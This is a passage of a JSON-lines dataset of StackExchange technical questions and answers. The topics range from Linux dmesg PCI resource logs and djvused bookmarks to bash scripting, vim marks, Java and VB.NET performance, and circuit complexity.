res[7]=[io  0x1000-0x0fff] get_res_add_size add_size 1000pci 0000:00:15.5: res[7]=[io  0x1000-0x0fff] get_res_add_size add_size 1000pci 0000:00:15.6: res[7]=[io  0x1000-0x0fff] get_res_add_size add_size 1000pci 0000:00:15.7: res[7]=[io  0x1000-0x0fff] get_res_add_size add_size 1000pci 0000:00:16.3: res[7]=[io  0x1000-0x0fff] get_res_add_size add_size 1000pci 0000:00:16.4: res[7]=[io  0x1000-0x0fff] get_res_add_size add_size 1000pci 0000:00:16.5: res[7]=[io  0x1000-0x0fff] get_res_add_size add_size 1000pci 0000:00:16.6: res[7]=[io  0x1000-0x0fff] get_res_add_size add_size 1000pci 0000:00:16.7: res[7]=[io  0x1000-0x0fff] get_res_add_size add_size 1000pci 0000:00:17.3: res[7]=[io  0x1000-0x0fff] get_res_add_size add_size 1000pci 0000:00:17.4: res[7]=[io  0x1000-0x0fff] get_res_add_size add_size 1000pci 0000:00:17.5: res[7]=[io  0x1000-0x0fff] get_res_add_size add_size 1000pci 0000:00:17.6: res[7]=[io  0x1000-0x0fff] get_res_add_size add_size 1000pci 0000:00:17.7: res[7]=[io  0x1000-0x0fff] get_res_add_size add_size 1000pci 0000:00:18.2: res[7]=[io  0x1000-0x0fff] get_res_add_size add_size 1000pci 0000:00:18.3: res[7]=[io  0x1000-0x0fff] get_res_add_size add_size 1000pci 0000:00:18.4: res[7]=[io  0x1000-0x0fff] get_res_add_size add_size 1000pci 0000:00:18.5: res[7]=[io  0x1000-0x0fff] get_res_add_size add_size 1000pci 0000:00:18.6: res[7]=[io  0x1000-0x0fff] get_res_add_size add_size 1000pci 0000:00:18.7: res[7]=[io  0x1000-0x0fff] get_res_add_size add_size 1000pci 0000:00:0f.0: BAR 6: assigned [mem 0xc0000000-0xc0007fff pref]pci 0000:00:15.3: BAR 7: can't assign io (size 0x1000)pci 0000:00:15.4: BAR 7: can't assign io (size 0x1000)pci 0000:00:15.5: BAR 7: can't assign io (size 0x1000)pci 0000:00:15.6: BAR 7: can't assign io (size 0x1000)pci 0000:00:15.7: BAR 7: can't assign io (size 0x1000)pci 0000:00:16.3: BAR 7: can't assign io (size 0x1000)pci 0000:00:16.4: BAR 7: can't assign io (size 0x1000)pci 0000:00:16.5: BAR 7: can't assign io (size 0x1000)pci 0000:00:16.6: BAR 7: can't assign io (size 0x1000)pci 0000:00:16.7: BAR 7: can't assign io (size 0x1000)pci 0000:00:17.3: BAR 7: can't assign io (size 0x1000)pci 0000:00:17.4: BAR 7: can't assign io (size 0x1000)pci 0000:00:17.5: BAR 7: can't assign io (size 0x1000)pci 0000:00:17.6: BAR 7: can't assign io (size 0x1000)pci 0000:00:17.7: BAR 7: can't assign io (size 0x1000)pci 0000:00:18.2: BAR 7: can't assign io (size 0x1000)pci 0000:00:18.3: BAR 7: can't assign io (size 0x1000)pci 0000:00:18.4: BAR 7: can't assign io (size 0x1000)pci 0000:00:18.5: BAR 7: can't assign io (size 0x1000)pci 0000:00:18.6: BAR 7: can't assign io (size 0x1000)pci 0000:00:18.7: BAR 7: can't assign io (size 0x1000)pci 0000:00:18.7: BAR 7: can't assign io (size 0x1000)pci 0000:00:18.6: BAR 7: can't assign io (size 0x1000)pci 0000:00:18.5: BAR 7: can't assign io (size 0x1000)pci 0000:00:18.4: BAR 7: can't assign io (size 0x1000)pci 0000:00:18.3: BAR 7: can't assign io (size 0x1000)pci 0000:00:18.2: BAR 7: can't assign io (size 0x1000)pci 0000:00:17.7: BAR 7: can't assign io (size 0x1000)pci 0000:00:17.6: BAR 7: can't assign io (size 0x1000)pci 0000:00:17.5: BAR 7: can't assign io (size 0x1000)pci 0000:00:17.4: BAR 7: can't assign io (size 0x1000)pci 0000:00:17.3: BAR 7: can't assign io (size 0x1000)pci 0000:00:16.7: BAR 7: can't assign io (size 0x1000)pci 0000:00:16.6: BAR 7: can't assign io (size 0x1000)pci 0000:00:16.5: BAR 7: can't assign io (size 0x1000)pci 0000:00:16.4: BAR 7: can't assign io (size 0x1000)pci 0000:00:16.3: BAR 7: can't assign io (size 0x1000)pci 0000:00:15.7: BAR 7: can't assign io (size 0x1000)pci 0000:00:15.6: BAR 7: can't assign io (size 0x1000)pci 0000:00:15.5: BAR 7: can't assign io (size 0x1000)pci 0000:00:15.4: BAR 7: can't assign io (size 0x1000)pci 0000:00:15.3: BAR 7: can't assign io (size 0x1000)pci 0000:00:01.0: PCI bridge to [bus 01]pci 0000:00:11.0: PCI bridge to [bus 02]pci 0000:00:11.0:   bridge window [io  0x2000-0x3fff]pci 0000:00:11.0:   bridge window [mem 0xd1900000-0xd23fffff]pci 0000:00:11.0:   bridge window [mem 0xdc400000-0xdc9fffff 64bit pref]pci 0000:03:00.0: BAR 6: assigned [mem 0xd4400000-0xd440ffff pref]pci 0000:00:15.0: PCI bridge to [bus 03]pci 0000:00:15.0:   bridge window [io  0x4000-0x4fff]pci 0000:00:15.0:   bridge window [mem 0xd2400000-0xd24fffff]pci 0000:00:15.0:   bridge window [mem 0xd4400000-0xd44fffff 64bit pref]pci 0000:00:15.1: PCI bridge to [bus 04]pci 0000:00:15.1:   bridge window [io  0x8000-0x8fff]pci 0000:00:15.1:   bridge window [mem 0xd2800000-0xd28fffff]pci 0000:00:15.1:   bridge window [mem 0xd4800000-0xd48fffff 64bit pref]pci 0000:00:15.2: PCI bridge to [bus 05]pci 0000:00:15.2:   bridge window [io  0xc000-0xcfff]pci 0000:00:15.2:   bridge window [mem 0xd2c00000-0xd2cfffff]pci 0000:00:15.2:   bridge window [mem 0xdcb00000-0xdcbfffff 64bit pref]pci 0000:00:15.3: PCI bridge to [bus 06]pci 0000:00:15.3:   bridge window [mem 0xd3000000-0xd30fffff]pci 0000:00:15.3:   bridge window [mem 0xdcd00000-0xdcdfffff 64bit pref]pci 0000:00:15.4: PCI bridge to [bus 07]pci 0000:00:15.4:   bridge window [mem 0xd3400000-0xd34fffff]pci 0000:00:15.4:   bridge window [mem 0xdcf00000-0xdcffffff 64bit pref]pci 0000:00:15.5: PCI bridge to [bus 08]pci 0000:00:15.5:   bridge window [mem 0xd3800000-0xd38fffff]pci 0000:00:15.5:   bridge window [mem 0xdd100000-0xdd1fffff 64bit pref]pci 0000:00:15.6: PCI bridge to [bus 09]pci 0000:00:15.6:   bridge window [mem 0xd3c00000-0xd3cfffff]pci 0000:00:15.6:   bridge window [mem 0xdd300000-0xdd3fffff 64bit pref]pci 0000:00:15.7: PCI bridge to [bus 0a]pci 0000:00:15.7:   bridge window [mem 0xd4000000-0xd40fffff]pci 0000:00:15.7:   bridge window [mem 0xdd500000-0xdd5fffff 64bit pref]pci 0000:0b:00.0: BAR 6: assigned [mem 0xd4500000-0xd450ffff pref]pci 0000:00:16.0: PCI bridge to [bus 0b]pci 0000:00:16.0:   bridge window [io  0x5000-0x5fff]pci 0000:00:16.0:   bridge window [mem 0xd2500000-0xd25fffff]pci 0000:00:16.0:   bridge window [mem 0xd4500000-0xd45fffff 64bit pref]pci 0000:00:16.1: PCI bridge to [bus 0c]pci 0000:00:16.1:   bridge window [io  0x9000-0x9fff]pci 0000:00:16.1:   bridge window [mem 0xd2900000-0xd29fffff]pci 0000:00:16.1:   bridge window [mem 0xd4900000-0xd49fffff 64bit pref]pci 0000:00:16.2: PCI bridge to [bus 0d]pci 0000:00:16.2:   bridge window [io  0xd000-0xdfff]pci 0000:00:16.2:   bridge window [mem 0xd2d00000-0xd2dfffff]pci 0000:00:16.2:   bridge window [mem 0xd4b00000-0xd4bfffff 64bit pref]pci 0000:00:16.3: PCI bridge to [bus 0e]pci 0000:00:16.3:   bridge window [mem 0xd3100000-0xd31fffff]pci 0000:00:16.3:   bridge window [mem 0xd4d00000-0xd4dfffff 64bit pref]pci 0000:00:16.4: PCI bridge to [bus 0f]pci 0000:00:16.4:   bridge window [mem 0xd3500000-0xd35fffff]pci 0000:00:16.4:   bridge window [mem 0xd4f00000-0xd4ffffff 64bit pref]pci 0000:00:16.5: PCI bridge to [bus 10]pci 0000:00:16.5:   bridge window [mem 0xd3900000-0xd39fffff]pci 0000:00:16.5:   bridge window [mem 0xd5100000-0xd51fffff 64bit pref]pci 0000:00:16.6: PCI bridge to [bus 11]pci 0000:00:16.6:   bridge window [mem 0xd3d00000-0xd3dfffff]pci 0000:00:16.6:   bridge window [mem 0xd5300000-0xd53fffff 64bit pref]pci 0000:00:16.7: PCI bridge to [bus 12]pci 0000:00:16.7:   bridge window [mem 0xd4100000-0xd41fffff]pci 0000:00:16.7:   bridge window [mem 0xd5500000-0xd55fffff 64bit pref]pci 0000:00:17.0: PCI bridge to [bus 13]pci 0000:00:17.0:   bridge window [io  0x6000-0x6fff]pci 0000:00:17.0:   bridge window [mem 0xd2600000-0xd26fffff]pci 0000:00:17.0:   bridge window [mem 0xd4600000-0xd46fffff 64bit pref]pci 0000:00:17.1: PCI bridge to [bus 14]pci 0000:00:17.1:   bridge window [io  0xa000-0xafff]pci 0000:00:17.1:   bridge window [mem 0xd2a00000-0xd2afffff]pci 0000:00:17.1:   bridge window [mem 0xdca00000-0xdcafffff 64bit pref]pci 0000:00:17.2: PCI bridge to [bus 15]pci 0000:00:17.2:   bridge window [io  0xe000-0xefff]pci 0000:00:17.2:   bridge window [mem 0xd2e00000-0xd2efffff]pci 0000:00:17.2:   bridge window [mem 0xdcc00000-0xdccfffff 64bit pref]pci 0000:00:17.3: PCI bridge to [bus 16]pci 0000:00:17.3:   bridge window [mem 0xd3200000-0xd32fffff]pci 0000:00:17.3:   bridge window [mem 0xdce00000-0xdcefffff 64bit pref]pci 0000:00:17.4: PCI bridge to [bus 17]pci 0000:00:17.4:   bridge window [mem 0xd3600000-0xd36fffff]pci 0000:00:17.4:   bridge window [mem 0xdd000000-0xdd0fffff 64bit pref]pci 0000:00:17.5: PCI bridge to [bus 18]pci 0000:00:17.5:   bridge window [mem 0xd3a00000-0xd3afffff]pci 0000:00:17.5:   bridge window [mem 0xdd200000-0xdd2fffff 64bit pref]pci 0000:00:17.6: PCI bridge to [bus 19]pci 0000:00:17.6:   bridge window [mem 0xd3e00000-0xd3efffff]pci 0000:00:17.6:   bridge window [mem 0xdd400000-0xdd4fffff 64bit pref]pci 0000:00:17.7: PCI bridge to [bus 1a]pci 0000:00:17.7:   bridge window [mem 0xd4200000-0xd42fffff]pci 0000:00:17.7:   bridge window [mem 0xdd600000-0xdd6fffff 64bit pref]pci 0000:00:18.0: PCI bridge to [bus 1b]pci 0000:00:18.0:   bridge window [io  0x7000-0x7fff]pci 0000:00:18.0:   bridge window [mem 0xd2700000-0xd27fffff]pci 0000:00:18.0:   bridge window [mem 0xd4700000-0xd47fffff 64bit pref]pci 0000:00:18.1: PCI bridge to [bus 1c]pci 0000:00:18.1:   bridge window [io  0xb000-0xbfff]pci 0000:00:18.1:   bridge window [mem 0xd2b00000-0xd2bfffff]pci 0000:00:18.1:   bridge window [mem 0xd4a00000-0xd4afffff 64bit pref]pci 0000:00:18.2: PCI bridge to [bus 1d]pci 0000:00:18.2:   bridge window [mem 0xd2f00000-0xd2ffffff]pci 0000:00:18.2:   bridge window [mem 0xd4c00000-0xd4cfffff 64bit pref]pci 0000:00:18.3: PCI bridge to [bus 1e]pci 0000:00:18.3:   bridge window [mem 0xd3300000-0xd33fffff]pci 0000:00:18.3:   bridge window [mem 0xd4e00000-0xd4efffff 64bit pref]pci 0000:00:18.4: PCI bridge to [bus 1f]pci 0000:00:18.4:   bridge window [mem 0xd3700000-0xd37fffff]pci 0000:00:18.4:   bridge window [mem 0xd5000000-0xd50fffff 64bit pref]pci 0000:00:18.5: PCI bridge to [bus 20]pci 0000:00:18.5:   bridge window [mem 0xd3b00000-0xd3bfffff]pci 0000:00:18.5:   bridge window [mem 0xd5200000-0xd52fffff 64bit pref]pci 0000:00:18.6: PCI bridge to [bus 21]pci 0000:00:18.6:   bridge window [mem 0xd3f00000-0xd3ffffff]pci 0000:00:18.6:   bridge window [mem 0xd5400000-0xd54fffff 64bit pref]pci 0000:00:18.7: PCI bridge to [bus 22]pci 0000:00:18.7:   bridge window [mem 0xd4300000-0xd43fffff]pci 0000:00:18.7:   bridge window [mem 0xd5600000-0xd56fffff 64bit pref]pci_bus 0000:00: resource 4 [mem 0x000a0000-0x000bffff]pci_bus 0000:00: resource 5 [mem 0x000cc000-0x000cffff]pci_bus 0000:00: resource 6 [mem 0x000d0000-0x000d3fff]pci_bus 0000:00: resource 7 [mem 0x000d4000-0x000d7fff]pci_bus 0000:00: resource 8 [mem 0x000d8000-0x000dbfff]pci_bus 0000:00: resource 9 [mem 0xc0000000-0xfebfffff]pci_bus 0000:00: resource 10 [io  0x0000-0x0cf7]pci_bus 0000:00: resource 11 [io  0x0d00-0xfeff]pci_bus 0000:02: resource 0 [io  0x2000-0x3fff]pci_bus 0000:02: resource 1 [mem 0xd1900000-0xd23fffff]pci_bus 0000:02: resource 2 [mem 0xdc400000-0xdc9fffff 64bit pref]pci_bus 0000:02: resource 4 [mem 0x000a0000-0x000bffff]pci_bus 0000:02: resource 5 [mem 0x000cc000-0x000cffff]pci_bus 0000:02: resource 6 [mem 0x000d0000-0x000d3fff]pci_bus 0000:02: resource 7 [mem 0x000d4000-0x000d7fff]pci_bus 0000:02: resource 8 [mem 0x000d8000-0x000dbfff]pci_bus 0000:02: resource 9 [mem 0xc0000000-0xfebfffff]pci_bus 0000:02: resource 10 [io  0x0000-0x0cf7]pci_bus 0000:02: resource 11 [io  0x0d00-0xfeff]pci_bus 0000:03: resource 0 [io  0x4000-0x4fff]pci_bus 0000:03: resource 1 [mem 0xd2400000-0xd24fffff]pci_bus 0000:03: resource 2 [mem 0xd4400000-0xd44fffff 64bit pref]pci_bus 0000:04: resource 0 [io  0x8000-0x8fff]pci_bus 0000:04: resource 1 [mem 0xd2800000-0xd28fffff]pci_bus 0000:04: resource 2 [mem 0xd4800000-0xd48fffff 64bit pref]pci_bus 0000:05: resource 0 [io  0xc000-0xcfff]pci_bus 0000:05: resource 1 [mem 0xd2c00000-0xd2cfffff]pci_bus 0000:05: resource 2 [mem 0xdcb00000-0xdcbfffff 64bit pref]pci_bus 0000:06: resource 1 [mem 0xd3000000-0xd30fffff]pci_bus 0000:06: resource 2 [mem 0xdcd00000-0xdcdfffff 64bit pref]pci_bus 0000:07: resource 1 [mem 0xd3400000-0xd34fffff]pci_bus 0000:07: resource 2 [mem 0xdcf00000-0xdcffffff 64bit pref]pci_bus 0000:08: resource 1 [mem 0xd3800000-0xd38fffff]pci_bus 0000:08: resource 2 [mem 0xdd100000-0xdd1fffff 64bit pref]pci_bus 0000:09: resource 1 [mem 0xd3c00000-0xd3cfffff]pci_bus 0000:09: resource 2 [mem 0xdd300000-0xdd3fffff 64bit pref]pci_bus 0000:0a: resource 1 [mem 0xd4000000-0xd40fffff]pci_bus 0000:0a: resource 2 [mem 0xdd500000-0xdd5fffff 64bit pref]pci_bus 0000:0b: resource 0 [io  0x5000-0x5fff]pci_bus 0000:0b: resource 1 [mem 0xd2500000-0xd25fffff]pci_bus 0000:0b: resource 2 [mem 0xd4500000-0xd45fffff 64bit pref]pci_bus 0000:0c: resource 0 [io  0x9000-0x9fff]pci_bus 0000:0c: resource 1 [mem 0xd2900000-0xd29fffff]pci_bus 0000:0c: resource 2 [mem 0xd4900000-0xd49fffff 64bit pref]pci_bus 0000:0d: resource 0 [io  0xd000-0xdfff]pci_bus 0000:0d: resource 1 [mem 0xd2d00000-0xd2dfffff]pci_bus 0000:0d: resource 2 [mem 0xd4b00000-0xd4bfffff 64bit pref]pci_bus 0000:0e: resource 1 [mem 0xd3100000-0xd31fffff]pci_bus 0000:0e: resource 2 [mem 0xd4d00000-0xd4dfffff 64bit pref]pci_bus 0000:0f: resource 1 [mem 0xd3500000-0xd35fffff]pci_bus 0000:0f: resource 2 [mem 0xd4f00000-0xd4ffffff 64bit pref]pci_bus 0000:10: resource 1 [mem 0xd3900000-0xd39fffff]pci_bus 0000:10: resource 2 [mem 0xd5100000-0xd51fffff 64bit pref]pci_bus 0000:11: resource 1 [mem 0xd3d00000-0xd3dfffff]pci_bus 0000:11: resource 2 [mem 0xd5300000-0xd53fffff 64bit pref]pci_bus 0000:12: resource 1 [mem 0xd4100000-0xd41fffff]pci_bus 0000:12: resource 2 [mem 0xd5500000-0xd55fffff 64bit pref]pci_bus 0000:13: resource 0 [io  0x6000-0x6fff]pci_bus 0000:13: resource 1 [mem 0xd2600000-0xd26fffff]pci_bus 0000:13: resource 2 [mem 0xd4600000-0xd46fffff 64bit pref]pci_bus 0000:14: resource 0 [io  0xa000-0xafff]pci_bus 0000:14: resource 1 [mem 0xd2a00000-0xd2afffff]pci_bus 0000:14: resource 2 [mem 0xdca00000-0xdcafffff 64bit pref]pci_bus 0000:15: resource 0 [io  0xe000-0xefff]pci_bus 0000:15: resource 1 [mem 0xd2e00000-0xd2efffff]pci_bus 0000:15: resource 2 [mem 0xdcc00000-0xdccfffff 64bit pref]pci_bus 0000:16: resource 1 [mem 0xd3200000-0xd32fffff]pci_bus 0000:16: resource 2 [mem 0xdce00000-0xdcefffff 64bit pref]pci_bus 0000:17: resource 1 [mem 0xd3600000-0xd36fffff]pci_bus 0000:17: resource 2 [mem 0xdd000000-0xdd0fffff 64bit pref]pci_bus 0000:18: resource 1 [mem 0xd3a00000-0xd3afffff]pci_bus 0000:18: resource 2 [mem 0xdd200000-0xdd2fffff 64bit pref]pci_bus 0000:19: resource 1 [mem 0xd3e00000-0xd3efffff]pci_bus 0000:19: resource 2 [mem 0xdd400000-0xdd4fffff 64bit pref]pci_bus 0000:1a: resource 1 [mem 0xd4200000-0xd42fffff]pci_bus 0000:1a: resource 2 [mem 0xdd600000-0xdd6fffff 64bit pref]pci_bus 0000:1b: resource 0 [io  0x7000-0x7fff]pci_bus 0000:1b: resource 1 [mem 0xd2700000-0xd27fffff]pci_bus 0000:1b: resource 2 [mem 0xd4700000-0xd47fffff 64bit pref]pci_bus 0000:1c: resource 0 [io  0xb000-0xbfff]pci_bus 0000:1c: resource 1 [mem 0xd2b00000-0xd2bfffff]pci_bus 0000:1c: resource 2 [mem 0xd4a00000-0xd4afffff 64bit pref]pci_bus 0000:1d: resource 1 [mem 0xd2f00000-0xd2ffffff]pci_bus 0000:1d: resource 2 [mem 0xd4c00000-0xd4cfffff 64bit pref]pci_bus 0000:1e: resource 1 [mem 0xd3300000-0xd33fffff]pci_bus 0000:1e: resource 2 [mem 0xd4e00000-0xd4efffff 64bit pref]pci_bus 0000:1f: resource 1 [mem 0xd3700000-0xd37fffff]pci_bus 0000:1f: resource 2 [mem 0xd5000000-0xd50fffff 64bit pref]pci_bus 0000:20: resource 1 [mem 0xd3b00000-0xd3bfffff]pci_bus 0000:20: resource 2 [mem 0xd5200000-0xd52fffff 64bit pref]pci_bus 0000:21: resource 1 [mem 0xd3f00000-0xd3ffffff]pci_bus 0000:21: resource 2 [mem 0xd5400000-0xd54fffff 64bit pref]pci_bus 0000:22: resource 1 [mem 0xd4300000-0xd43fffff]pci_bus 0000:22: resource 2 [mem 0xd5600000-0xd56fffff 64bit pref]Following is the identification of the device with lspci00:15.3 PCI bridge: VMware PCI Express Root Port (rev 01) (prog-if 00 [Normal decode])    Flags: bus master, fast devsel, latency 0    Bus: primary=00, secondary=06, subordinate=06, sec-latency=0    Memory behind bridge: d3000000-d30fffff    Prefetchable memory behind bridge: 00000000dcd00000-00000000dcdfffff    Capabilities: [40] Subsystem: VMware PCI Express Root Port    Capabilities: [48] Power Management version 3    Capabilities: [50] Express Root Port (Slot+), MSI 00    Capabilities: [8c] MSI: Enable- Count=1/1 Maskable+ 64bit+    Kernel driver in use: pcieportUPDATEactually, dmesg contains over 550 lines of (debug) logs related to PCI.I have pasted the relevant part hereHow can I get rid of these logs?They are not useful, and are just flooding my logs"  , "title": "dmesg: pci BAR 7: can't assign io"  , "tags": "kernel;linux kernel;pci;dmesg;hot plug"  } 
{  "id": "_unix.18731"  , "question": "In djvused bookmark format, to disable characters that have special meaning in djvusedbookmark format:The format of djvused bookmark of a djvu file is for example:(bookmarks (1 first chapter #10  (1.1 first section #11  (1.1.1 first subsection #12 )) (1.2 second section #13 )) (2 second chapter #14  (2.1 first section #16 ) (2.2 second section #13 )))...where the main points are the paring of left and rightparenthesis for tree-like organization of sections and chapters,double quote for each bookmark item and each page number is precededby a #. How can I escape characters like , ( and ) to not beinterpreted as control characters in the titles of chapters andsections?e.g. The following examples will not be accepted by djvused:(2.2 Hello!  #13 )(2.2 f(g) #13 )The command I use to embed bookmarks into a djvu file is djvusedin.djvu -e 'set-outline bmks' -s, where bmks is the text file forbookmarks.In djvused bookmark format, to enable characters that have special meaning in general textfiles:The character \\n means new line. But if using it directly in djvubookmark format, it will be shown as it is, not be interpreted asnew line.For example:(bookmarks (long title part 1 \\n long title part 2 #10 )The long title will not be broken into two lines where \\n isspecified."  , "title": "How to specify special characters in djvused bookmarks"  , "tags": "djvu"  } 
{  "id": "_computerscience.1666"  , "question": "I can't understand math equations. I'm a graphic designer.What is importance sampling?What is multiple importance sampling?Could you explain easily, using illustrations and no math equations? What is the difference between importance sampling and multiple importance sampling?"  , "title": "What is the difference between importance sampling and mutiple importance sampling?"  , "tags": "raytracing;sampling;importance sampling"  } 
{  "id": "_codereview.44307"  , "question": "This draws blocks on the screen from a grid to make a background for my game. I am wondering if anyone has any suggestions on optimizing it for speed.int blockwidth=blocksize-2;//Draw coloured blocksfor (int x=0;x<sizex;x++){   int screenx=-(int)camerax+(x*blocksize);      if (screenx>-blocksize && screenx<gamewidth){        for (int y=0;y<sizey;y++){          int screeny=-(int)cameray+(y*blocksize);              if (screeny>-blocksize && screeny<gameheight){                          if (tiles[x][y][0]>0){                g.setColor(new Color( tiles[x][y][1]));                //g.fillRect(screenx,screeny,blockwidth,blockwidth);                 g.drawImage(Iloader.Imagelist.get(0), screenx,screeny, screenx+blockwidth,screeny+blockwidth, graphicsize,0,graphicsize*2,graphicsize, null);            } else {                //g.setColor(new Color( tiles[x][y][1]  | 0xFFFF0000));                g.setColor(new Color( tiles[x][y][1]));                g.fillRect(screenx,screeny,blockwidth,blockwidth);               }          }        }    } } "  , "title": "Drawing blocks for a 2D game background"  , "tags": "java;game;graphics"  , "accepted_answer": "There are a few optimizations I can see in your code.creating a new Color every time is a little severe. You can do a few things here, for example, if your color palette is limited, then cache the individual Color instances. I know it sounds petty right now, but, when you add it up there are a lot of new Color instances created.What you should at minimum do, is track your last Color used, and only create a new one if it is different.Pull the Iloader.Imagelist.get(0) outside the loop, and have Image image = Iloader.Imagelist.get(0)Pull calculations outside the loops where you can... and continue/break when you can too.Image image = Iloader.Imagelist.get(0);int screenx=-(int)camerax - blocksize;for (int x = 0; x < sizex; x++){    screenx += blocksize;    if (screenx <= -blocksize) {        continue;    }    if (screenx >= gamewidth) {        break;    }    int screeny= -(int)cameray - blocksize;    for (int y = 0; y < sizey; y++){        screeny += blocksize;        if (screeny <= -blocksize)            continue;        }        if (screeny >= gameheight) {            break;        }                      if (tiles[x][y][0] > 0) {            // need to set the color here? g.setColor(new Color( tiles[x][y][1]));            g.drawImage(image, screenx, screeny, screenx + blockwidth,                        screeny + blockwidth, graphicsize, 0, graphicsize * 2,                        graphicsize, null);        } else {                //g.setColor(new Color( tiles[x][y][1]  | 0xFFFF0000));            g.setColor(new Color( tiles[x][y][1]));            g.fillRect(screenx,screeny,blockwidth,blockwidth);           }    }}The above code does not have the mechanism for caching the color. You should figure one out."  } 
{  "id": "_unix.283305"  , "question": "In /var/log/syslog I see lot of pure-ftpd logs, that indicate downloaded action, however I do not see any actions related to moving or deleting files.I would like to get rid of all downloaded logs from /var/log/syslog.I also would like to create three separate log files for upload, move and delete actions.How can I do it?"  , "title": "Separate modification logs in pure-ftpd"  , "tags": "pure ftpd"  } 
{  "id": "_unix.160319"  , "question": "#!/bin/bash#organization: Seneca College#Purpose: Validate a date#Usage: chkdate year month day#year=$1; month=$2; day=$3; extra=$4if [[ $year ==  || $month ==  || $day ==  ]]; then        # Not enough data!        echo Usage: chkdate year month day        exit 0fiif [[ ! ( $year =~ ^[0-9]+$ && $month =~ ^[0-9]+$ && $day =~ ^[0-9]+$ ) ]]; then        # Date not numeric!        echo Usage: chkdate year month day        exit 1fiif [[ $year -lt 1 || $year -gt 9999 || $month -lt 1 || $month -gt 12 || $day -lt 1 || $day -gt 31 ]]; then        # Date out of range!        echo Usage: chkdate year month day        exit 2fiif [[ ( $month == 1 || $month == 3 || $month == 5 || $month == 7 || $month == 8 || $month == 10 || $month == 12 ) && $day -gt 31 ]]; then        # Invalid day!        echo Usage: chkdate year month day        exit 3fiif [[ ( $month == 4 || $month == 6 || $month == 9 || $month == 11 ) && $day -gt 30 ]]; then        # Invalid day!        echo Usage: chkdate year month day        exit 4fiif [[ ($month == 9) && ($year == 1752) && ( $day -gt 2) && $day -le 14  ]] ; then        #invalid day!        echo Usage: chkdate year month day        exit 5date -d $2/$3/$1 > /dev/null 2>&1if [[ $@ ]] ; then        echo valid dateelse        echo not a validfiit says my script has line 44 however my script total lines are 43 "  , "title": "syntax error: unexpected end of the file"  , "tags": "bash;shell script"  } 
{  "id": "_codereview.81840"  , "question": "I have created a little program to search a set of folders holding documents scanned.The folder structure is as follows:c:\\images\\year\\month\\date\\documenttype\\firstpartofdocumentNo.\\the year folder contains years from 2005 - 2015the month folder contains the months of the year (Obviously) same with  datethe documenttype folder can contain between 1 and 5 foldersthe firstpartofdocumentno. can contain between 1 and 3 foldersThe code I am using at the moment is:CompName = Environment.MachineNameTicketNo = TxtTicketNo.TextIf CompName = Comp1 Then    ImageDir = C:\\Images\\Else    ImageDir = \\\\Comp2\\Images\\End IfFor Each DirYear As String In Directory.GetDirectories(ImageDir)    Dim YearInfo As New DirectoryInfo(DirYear)    For Each DirMonth As String In Directory.GetDirectories(DirYear)        Dim MonthInfo As New DirectoryInfo(DirMonth)        For Each DirDate As String In Directory.GetDirectories(DirMonth)            Dim DateInfo As New DirectoryInfo(DirDate)            For Each DirType As String In Directory.GetDirectories(DirDate)                Dim TypeInfo As New DirectoryInfo(DirType)                For Each DirStart As String In Directory.GetDirectories(DirType)                    Dim StartInfo As New DirectoryInfo(DirStart)                    MainDirectory = ImageDir & YearInfo.Name & \\ & MonthInfo.Name & \\ & DateInfo.Name & \\ & TypeInfo.Name & \\ & StartInfo.Name & \\                                                                                            For Each Ticket As String In Directory.GetFiles(MainDirectory, TicketNo & *)                        LstFiles.Items.Add(Ticket)                    Next                Next             Next        Next    Next   NextI have a textbox on the form which is used to enter the last four numbers of the ticketno and then this code runs when the button is clicked.The problem is it can take up to five minutes to search, so I was wondering if there is a way to optimize this code to speed it up a bit or does this sound about right for searching that many folders."  , "title": "Recursive filename search"  , "tags": "performance;vb.net;file system;search"  } 
{  "id": "_vi.1915"  , "question": "In vim, I often need to delete, or yank/put large blocks of text.I can count the lines of text and enter something like 50dd to delete 50 lines.But that's a bit of a pain. How can I delete this large block of text without having to know how many lines to delete in advance?"  , "title": "How do I delete a large block of text without counting the lines?"  , "tags": "cut copy paste"  , "accepted_answer": "Go to the starting line of your block, and type ma (mark a, though you can of course use different letters, and even multiple letters for different marks provided you can keep it straight in your head what each letter is a mark of).Then go to the last line and enter d'a (delete to mark a) or y'a (yank to mark a) (a).That will delete/yank all lines from the current to the marked one (inclusive).Then you can paste it somewhere else with the normal paste commands, such as p or P.It's also compatible with vi as well as vim, on the off chance that your environment is not blessed with the latter.(a) I also use this to save my place in the file if I have to go looking elsewhere for something like, for example, copy-pasting the definition of a function I want to call.I simply mark the current line in the same way, ma, then wander off to find whatever you're looking for.Then, once I've found it and copied it to a register, I just enter 'a to go back to mark a, the line I saved beforehand, where I can then paste it."  } 
{  "id": "_cstheory.29094"  , "question": "Can the majority of $n$ bits be computed by a depth 2 formula all of whose gates compute the majority of $m$ bits where $m=O(n^c)$ for a constant $c<1$? Such a formula contains $m+1$ gates and $m^2$ leaves so $c$ must be at least $1/2$. I assume that the leaves can only be labeled by variables (without negations), but it would be also interesting to know the answer if we allow also negated variables and constants.Two examples of such formulas are given below.$n=7$, $m=5$: $n=9$, $m=7$:"  , "title": "Computing $\\operatorname{MAJ}_n$ by $\\operatorname{MAJ}_m$ in depth 2"  , "tags": "cc.complexity theory;circuit complexity;boolean functions;boolean formulas;circuit depth"  } 
{  "id": "_codereview.164219"  , "question": "As far as I know there is no standard method yet of maintaining keyword-value pairs. I'm certain most implementations would come to a screeching halt given my number crunching requirements. The blogged benchmarking I've seen of the different methods range from dismal loops to object[keyword] dominance, but they're for static data.My dynamic data HashCompactor() algorithm has been gathering dust at SourceForge since 2006, but when I recently raced it against the built-in methods, I'm always neck and neck with o[k], sometimes even beating it. I designed HashCompactor to be fast, and it looks like it's even faster than I imagined. Tool, weapon, whatever you want to call it: here it is; have fun. There's a busking tip jar if anyone cares.I've hosted the HashCompactorLite() version of my algorithm at JSFiddle.Here's a simple implementation where a list of image file extensions is compared to a url. In this case each keyword's data in exts is an array of length 1. If ext === 'html', then .item() will return null after being unable to find 'h' among ['j','g','t','p','f']. Of that initial list of 15, this possible worst case scenario only concerns itself with 5 of them.let exts = new HashCompactorLite(['jpeg', 'jpg', 'jif', 'jfif', 'gif',  'tif', 'tiff', 'png', 'pdf', 'jp2', 'jpx', 'j2k', 'j2c', 'fpx', 'pcd']);ext = extFromURL(url);if (!! exts.item(ext)) displayImage(url);In my WebLogHog implementation of HashCompactor, I'm analyzing website Log Format files. In this example, the nested .sort() functionality begins with  this.referrers being a HashCompactor object before returning as a sorted Array. The optional second parameter to HashCompactor's .sort() routine preprocesses the data.// compress duplicates and sort by most common; report total count for eachtime = performance.now();this.referrers = this.referrers.sort(function(a,b) {      let _a = a.count, _b = b.count;      if 